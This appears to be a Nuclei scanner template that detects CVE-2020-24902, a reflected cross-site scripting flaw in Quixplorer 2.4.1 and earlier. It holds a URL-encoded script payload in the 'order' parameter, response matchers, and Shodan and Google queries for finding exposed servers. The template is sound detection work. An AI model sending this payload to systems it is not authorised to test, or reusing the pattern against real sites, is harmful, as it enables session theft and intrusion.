id: CVE-2020-24902

info:
  name: Quixplorer <=2.4.1 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: |
    Quixplorer through 2.4.1 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade to a patched version of Quixplorer (>=2.4.2) or apply the vendor-supplied patch to mitigate this vulnerability.
  reference:
    - https://dl.packetstormsecurity.net/1804-exploits/quixplorer241beta-xss.txt
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24902
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-24902
    cwe-id: CWE-79
    epss-score: 0.00195
    epss-percentile: 0.56453
    cpe: cpe:2.3:a:quixplorer_project:quixplorer:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: quixplorer_project
    product: quixplorer
    shodan-query: http.title:"My Download Server"
    google-query: intitle:"My Download Server"
  tags: cve,cve2020,quixplorer,xss,quixplorer_project

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?action=post&order=bszop%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>&srt=yes"
          - "My Download"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100cc3315a626f72938e1bbd0b8d6123c0a4e45d1f6f608ec22fc41d9b038f25b6d022045f6709f3c37e878675f5ea3caf6f393801ac2d1c850932a039abd8066a934a6:922c64590222798bb761d5b6d8e72950